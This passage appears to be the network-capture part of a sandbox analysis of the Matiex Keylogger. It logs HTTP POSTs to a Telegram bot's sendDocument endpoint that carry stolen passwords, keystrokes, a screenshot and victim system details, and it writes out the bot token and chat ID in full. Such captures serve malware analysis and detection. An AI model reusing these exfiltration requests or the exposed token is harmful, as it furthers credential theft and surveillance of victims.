{"ok":true,"result":{"message_id":323,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507535,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49830	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:15 UTC	8186	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803a1e7a3a Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:15 UTC	8186	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 61 31 65 37 61 33 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d976803a1e7a3aContent-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:15 UTC	8187	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:15 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:15 UTC	8188	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 35 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":324,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507535,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49831	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:15 UTC	8188	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803a3d78f2 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:15 UTC	8188	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 61 33 64 37 38 66 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d976803a3d78f2Content-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:15 UTC	8189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:15 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:15 UTC	8190	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 35 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":325,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507535,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49832	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:16 UTC	8190	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803aafe994 Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:16 UTC	8191	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 61 61 66 65 39 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d976803aafe994Content-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:16 UTC	8207	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:16 UTC	8223	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:16 UTC	8239	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:16 UTC	8255	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:16 UTC	8271	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:16 UTC	8287	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:16 UTC	8303	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:16 UTC	8319	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:16 UTC	8335	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:16 UTC	8351	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:16 UTC	8367	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:16 UTC	8383	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
